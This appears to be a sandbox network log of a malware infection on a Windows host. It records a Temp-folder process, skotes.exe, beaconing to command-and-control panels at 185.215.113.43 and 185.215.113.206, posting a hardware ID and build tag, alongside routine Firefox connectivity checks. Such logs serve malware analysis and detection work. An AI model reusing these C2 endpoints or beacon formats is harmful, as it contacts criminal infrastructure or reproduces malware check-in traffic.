Nov 23, 2024 13:29:41.061995983 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 43 41 38 35 45 44 33 32 44 45 33 37 31 32 36 35 39 37 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="hwid"C0CA85ED32DE3712659782------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="build"mars------KKEBKJJDGHCBGCAAKEHD--
Nov 23, 2024 13:29:41.528196096 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50016	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:40.424909115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:41.767528057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50022	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:43.457293034 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:44.880709887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50032	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:46.809488058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:48.196810007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50038	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:50.691251040 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:51.593396902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	50058	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:53.840668917 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:54.971055031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81047 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50060	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:53.951005936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:55.266942978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50072	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:55.373775959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:29:56.458651066 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42338 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:29:56.569185019 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:29:56.884268999 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42338 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:29:56.904669046 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:29:57.227272034 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42339 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:29:57.809818983 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:29:58.124108076 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42339 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:29:59.175260067 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:29:59.496375084 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42341 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:02.431154013 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:02.745398045 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42344 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:09.095154047 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:09.414866924 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42351 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:13.725570917 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:14.040333986 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42355 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:23.603723049 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:23.924452066 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42365 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:24.984266043 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:25.299823046 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42367 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:27.464183092 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:27.778309107 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42369 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:35.870047092 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:36.188522100 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42378 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:46.213325024 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:30:54.317240953 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:54.633181095 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42396 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:30:55.651284933 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:30:55.969770908 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42397 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:31:05.998264074 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:16.202382088 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:17.303546906 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:31:17.617917061 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42419 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:31:27.707823038 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:37.907463074 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:48.106858015 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:58.301702023 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:08.595711946 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:18.810060978 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:29.002201080 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:38.866987944 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:32:39.181770086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42501 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:32:57.721885920 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:32:58.035976887 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42519 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:32:59.064563990 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:32:59.382250071 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 42521 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50073	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:55.425614119 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:56.556091070 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81049 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:29:56.574546099 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:56.898910999 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81049 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:29:57.481544018 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:57.806139946 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81050 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:29:58.839586020 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:59.164004087 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81051 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:02.103487015 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:02.427155018 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81055 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:08.765805006 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
